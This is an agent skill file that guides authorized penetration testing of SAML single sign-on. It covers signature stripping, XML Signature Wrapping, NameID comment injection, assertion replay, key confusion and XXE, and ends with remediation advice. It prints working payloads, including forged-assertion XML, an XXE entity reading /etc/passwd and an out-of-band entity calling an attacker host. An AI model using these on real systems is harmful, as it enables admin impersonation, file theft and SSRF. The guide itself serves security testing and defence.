exploiting-saml-authentication-flaws
$
npx mdskill add xalgord/xalgorix/exploiting-saml-authentication-flaws- During authorized penetration tests of applications that use SAML 2.0 for SSO (enterprise apps, IdP-integrated portals) - When the target is a Service Provider (SP) accepting assertions from an Identity Provider (IdP) - For validating that signatures are verified correctly, that the signed element is the one consumed, and that recipient/audience/conditions are enforced - When testing whether an attacker who controls one account (or none) can forge or tamper assertions to impersonate other users or admins - During bug bounty programs targeting SSO/authentication bypass
SKILL.md
.github/skills/exploiting-saml-authentication-flawsView on GitHub ↗
---
name: exploiting-saml-authentication-flaws
description: Identifying and exploiting SAML SSO weaknesses including XML Signature Wrapping (XSW1-8), comment
injection in NameID, missing/stripped signatures, recipient and audience confusion, assertion replay, key
confusion, and XXE in SAML messages to forge authentication and impersonate users.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- saml
- sso
- xml-signature-wrapping
- xsw
- authentication-bypass
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
---
# Exploiting SAML Authentication Flaws
## When to Use
- During authorized penetration tests of applications that use SAML 2.0 for SSO (enterprise apps, IdP-integrated portals)
- When the target is a Service Provider (SP) accepting assertions from an Identity Provider (IdP)
- For validating that signatures are verified correctly, that the signed element is the one consumed, and that recipient/audience/conditions are enforced
- When testing whether an attacker who controls one account (or none) can forge or tamper assertions to impersonate other users or admins
- During bug bounty programs targeting SSO/authentication bypass
## Prerequisites
- **Authorization**: Written penetration testing agreement covering authentication bypass and IdP/SP testing
- **Burp Suite Professional + SAML Raider**: The primary tool for editing, re-signing, and wrapping SAML messages
- **Two SP accounts where possible**: A low-privilege attacker account and a target (admin/victim) identity to impersonate
- **A captured SAMLResponse**: A full, valid login flow recorded through Burp (decode base64 + inflate if redirect binding)
- **Understanding of bindings**: HTTP-POST (`SAMLResponse` form field, base64) vs HTTP-Redirect (deflated + base64 + URL-encoded)
## Critical: Checks Most Often Missed
SAML breaks when the SP verifies a signature over one element but trusts a
*different* element, or skips verification entirely. Work this checklist:
- **No signature at all is accepted.** Strip the `<ds:Signature>` element
completely and submit. Many SPs only validate a signature *if present* — a
missing signature then yields a fully forged, attacker-authored assertion.
- **Signature exclusion / partial signing.** The Response may be signed but the
Assertion is not (or vice-versa). Tamper the *unsigned* element. Also test
removing the inner Assertion signature while keeping the Response signature.
- **XML Signature Wrapping (XSW1-8) is the core attack.** Keep the validly
signed element so signature verification passes, but inject a second forged
assertion the application logic actually reads. Cycle through all 8 XSW
permutations (different parent nodes, ID handling, ordering) with SAML Raider.
- **NameID comment injection.** Insert an XML comment inside `<NameID>`:
`admin@corp.example<!---->.attacker@evil.example`. Signature still validates
(canonicalization), but the SP's XML reader may return only `admin@corp.example`
— impersonating the admin. Test `<!-- -->`, `<![CDATA[]]>` splits too.
- **Recipient / Destination / Audience not validated.** Reuse a valid assertion
issued for a *different* SP/recipient against this SP (token recipient
confusion / audience restriction bypass).
- **Assertion replay.** Resend the same `SAMLResponse` multiple times and after
its window; if `NotOnOrAfter`/`OneTimeUse`/replay-cache is not enforced, the
token is reusable.
- **Key confusion / self-signed acceptance.** Re-sign a tampered assertion with
your *own* certificate and submit it (use SAML Raider's "Send Certificate to
IdP"/re-sign). If the SP trusts any embedded `<KeyInfo>`/cert instead of a
pinned IdP key, your forgery is accepted.
- **Signature algorithm downgrade / XXE.** Try `SignatureMethod` downgrade and
inject XXE via a `DOCTYPE`/external entity in the SAML XML to read files or
trigger SSRF on the SP's parser.
- **Always decode AND re-inflate correctly.** Redirect-binding messages are
raw-deflate + base64 + URL-encoded; mangling the encoding produces false
negatives. Verify your tampered message round-trips before concluding "fixed".
## Workflow
### Step 1: Capture and Decode the SAML Flow
Record a full SSO login and decode the assertion for analysis.
```bash
# Capture the SAMLResponse in Burp (POST binding: base64 form field).
# Decode it:
echo "$SAMLRESPONSE_B64" | base64 -d > resp.xml
xmllint --format resp.xml | head -n 60
# For HTTP-Redirect binding (deflated): URL-decode, base64-decode, then inflate:
python3 - <<'PY'
import base64, zlib, urllib.parse, sys
raw = urllib.parse.unquote(open('saml_redirect.txt').read().strip())
data = base64.b64decode(raw)
print(zlib.decompress(data, -15).decode()) # -15 = raw deflate
PY
# Identify the key elements:
# <samlp:Response ID="_resp1" ...>
# <ds:Signature> ... <ds:Reference URI="#_resp1"/> ... (what is signed?)
# <saml:Assertion ID="_assert1">
# <saml:Subject><saml:NameID>user@corp.example</saml:NameID>
# <saml:Conditions NotBefore=... NotOnOrAfter=... >
# <saml:AudienceRestriction><saml:Audience>...</saml:Audience>
# <saml:SubjectConfirmationData Recipient="https://sp/acs" .../>
# Note the Reference URI to know WHICH element the signature actually covers.
```
### Step 2: Test Missing / Stripped Signature
Determine whether the SP enforces that a signature exists and covers the assertion.
```text
# In SAML Raider (Burp > intercept the SAMLResponse > SAML Raider Certificate tab):
# 1. Remove Signatures -> deletes <ds:Signature> entirely
# 2. Forward the message with a tampered NameID (e.g. admin@corp.example)
#
# Outcomes:
# - Login as admin succeeds => signature not required (critical)
# - Rejected => proceed to wrapping / comment injection
# Manual variant: delete only the inner <saml:Assertion>'s <ds:Signature>
# while keeping the Response-level signature, then alter the Assertion subject.
# Tests "signs the Response but trusts the Assertion" confusion.
```
### Step 3: XML Signature Wrapping (XSW1-8)
Inject a forged assertion the app reads while the signed original passes verification.
```text
# SAML Raider automates all 8 XSW templates:
# Burp > intercept SAMLResponse > "SAML Raider" tab > "XSW" dropdown
# Select XSW1 ... XSW8 in turn, set the injected NameID to the victim/admin,
# then Forward and observe which identity the SP logs you in as.
# What each family does (conceptually):
# XSW1/2 -> wrap the signed Response; add a forged Response/Assertion sibling
# XSW3/4 -> forged Assertion as sibling/child of the signed Assertion
# XSW5/6 -> move the original signed Assertion into the Signature/extensions,
# present a forged Assertion where the app looks
# XSW7/8 -> abuse Extensions / Object wrappers to hide the signed element
# Manual XSW3 sketch (forged assertion BEFORE the signed one, app reads first):
# <samlp:Response>
# <saml:Assertion ID="_evil"> <-- forged, attacker NameID=admin
# <saml:Subject><saml:NameID>admin@corp.example</saml:NameID>...
# </saml:Assertion>
# <saml:Assertion ID="_assert1"> <-- original, validly signed
# <ds:Signature><ds:Reference URI="#_assert1"/></ds:Signature>
# <saml:Subject><saml:NameID>attacker@corp.example</saml:NameID>...
# </saml:Assertion>
# </samlp:Response>
# Signature verifies #_assert1; vulnerable SP processes the FIRST/_evil assertion.
# Iterate XSW1-8 because SPs differ in which node they select after verification.
```
### Step 4: NameID Comment Injection
Exploit canonicalization vs application parsing mismatch to impersonate users.
```text
# Goal: keep the signature valid (comments are ignored by c14n) but change what
# the application reads as the username.
# Original signed NameID:
# <saml:NameID>attacker@evil.example</saml:NameID>
# Tampered (signature still validates):
# <saml:NameID>admin@corp.example<!---->.evil.example</saml:NameID>
# <saml:NameID>admin@corp.example<!-- -->attacker@evil.example</saml:NameID>
# Vulnerable XML readers return only the text node before/around the comment
# (e.g. "admin@corp.example"), logging you in as admin.
# Also test CDATA and double-comment splits:
# admin<![CDATA[]]>@corp.example
# admin@corp.example<!--x--><!--y-->junk
# Requires an account whose prefix matches the victim's identifier — pick the
# injection point so the truncated value equals the target identity.
```
### Step 5: Recipient/Audience Confusion and Replay
Reuse assertions across SPs/time when conditions are not enforced.
```bash
# Recipient confusion: take a valid assertion issued for SP-A and submit it to
# SP-B's ACS. If SP-B does not validate Recipient/Destination/Audience, it
# accepts a token never meant for it.
# Replay: resend the SAME SAMLResponse multiple times, and again AFTER its
# NotOnOrAfter window:
for i in 1 2 3; do
curl -s -o /dev/null -w "replay$i:%{http_code}\n" \
-X POST "https://sp.example.com/saml/acs" \
--data-urlencode "SAMLResponse=$SAMLRESPONSE_B64" \
--data "RelayState=/dashboard"
done
# Repeated success => no replay cache / OneTimeUse / window enforcement.
# Also tamper <saml:Conditions NotOnOrAfter> to a far-future date; if the
# signature wasn't required (Step 2) or you re-signed (Step 6), the SP may honor it.
```
### Step 6: Key Confusion and XXE
Forge with your own key, or attack the SP's XML parser directly.
```text
# Key confusion / self-sign (SAML Raider):
# 1. SAML Raider Certificates tab > "Import certificate" or generate a new one
# 2. Tamper the assertion (NameID=admin, future Conditions)
# 3. "(Re-)Sign Assertion"/"(Re-)Sign Message" with YOUR cert; the tool embeds
# your <KeyInfo>/certificate.
# 4. Forward. If the SP trusts the embedded cert instead of a pinned IdP key,
# the forged assertion is accepted.
# Signature algorithm downgrade: change <ds:SignatureMethod Algorithm=...> to a
# weaker/none-like value and observe whether verification is skipped.
# XXE in the SAML message (SP parses attacker XML):
# <?xml version="1.0"?>
# <!DOCTYPE samlp:Response [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
# ... <saml:NameID>&xxe;</saml:NameID> ...
# OOB/SSRF variant:
# <!ENTITY xxe SYSTEM "http://attacker.oob.example/x">
# Re-encode (base64 / deflate) and submit; watch for file contents reflected in
# errors or an OOB callback.
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **XML Signature Wrapping (XSW)** | Keeping a validly signed element while the app processes a separate forged element |
| **NameID comment injection** | Using XML comments so canonicalization ignores them but the parser truncates the value |
| **Signature exclusion** | SP accepting assertions with the signature removed or only partially covering the data |
| **Recipient/Audience confusion** | Replaying an assertion intended for a different SP because conditions aren't validated |
| **Assertion replay** | Reusing the same SAMLResponse due to missing replay cache / OneTimeUse / time-window checks |
| **Key confusion** | SP trusting an attacker-embedded certificate/KeyInfo instead of a pinned IdP key |
| **XXE in SAML** | Injecting external entities into the SAML XML to read files or trigger SSRF on the SP parser |
| **Bindings** | HTTP-POST (base64 form field) vs HTTP-Redirect (raw-deflate + base64 + URL-encode) |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **SAML Raider (Burp extension)** | Edit, remove signatures, apply XSW1-8 templates, re-sign with custom certs |
| **Burp Suite Professional** | Intercept POST/Redirect SAML messages and the ACS response |
| **xmllint** | Pretty-print and validate the decoded assertion structure |
| **Python (zlib/base64)** | Decode/inflate redirect-binding messages and re-encode tampered XML |
| **SAML-tracer (browser ext)** | Quickly view SAML messages in the browser during reconnaissance |
| **xmlsec1** | Inspect/verify signature references and canonicalization behavior |
## Common Scenarios
### Scenario 1: Missing Signature Acceptance
The SP validates a signature only when present. Removing `<ds:Signature>` and setting `NameID` to `admin@corp.example` logs the attacker in as an administrator.
### Scenario 2: XSW3 Wrapping
The signature covers `_assert1`, but the SP processes the first assertion in document order. Injecting a forged assertion before the signed one impersonates any user while verification still passes.
### Scenario 3: NameID Comment Injection
`admin@corp.example<!---->x` keeps the signature valid (comments dropped by c14n) but the SP's XML reader returns `admin@corp.example`, granting the attacker the admin session.
### Scenario 4: Cross-SP Assertion Replay
An assertion minted for one SP is replayed to a second SP that does not check `Audience`/`Recipient`, yielding unauthorized access without any tampering.
## Output Format
```
## SAML Authentication Flaw Finding
**Vulnerability**: SAML XML Signature Wrapping (XSW3) leading to authentication bypass
**Severity**: Critical (CVSS 9.1)
**Location**: POST /saml/acs (Service Provider Assertion Consumer Service)
**OWASP Category**: A07:2021 - Identification and Authentication Failures
### Reproduction Steps
1. Capture a valid SAMLResponse logging in as attacker@corp.example
2. In SAML Raider, apply the XSW3 template; set the injected NameID to admin@corp.example
3. Forward the tampered SAMLResponse to /saml/acs
4. Signature verification passes (covers original _assert1); the SP processes the forged assertion
5. Authenticated session is established as admin@corp.example
### Techniques Confirmed
| Technique | Result |
|-----------|--------|
| Signature removed | Rejected |
| XSW3 wrapping | Bypassed -> admin session |
| NameID comment injection | Bypassed (truncates to admin@corp.example) |
| Assertion replay (x3) | Accepted (no replay cache) |
| Recipient/Audience check | Not enforced |
### Impact
- Full authentication bypass and impersonation of arbitrary users including admins
- No valid credentials for the target identity required
- Assertion replay enables persistent reuse of a captured token
### Recommendation
1. Verify the signature and ensure the signed element is exactly the one consumed
(resolve by reference, reject documents with multiple/unsigned assertions).
2. Reject assertions lacking a signature; never "validate only if present".
3. Use a hardened SAML library; disable DTD/external entities to stop XXE.
4. Strip/forbid comments in NameID processing; use canonical text extraction.
5. Pin the IdP signing certificate; ignore embedded KeyInfo for trust decisions.
6. Enforce Recipient, Destination, Audience, NotBefore/NotOnOrAfter, and a
one-time-use replay cache on every assertion.
```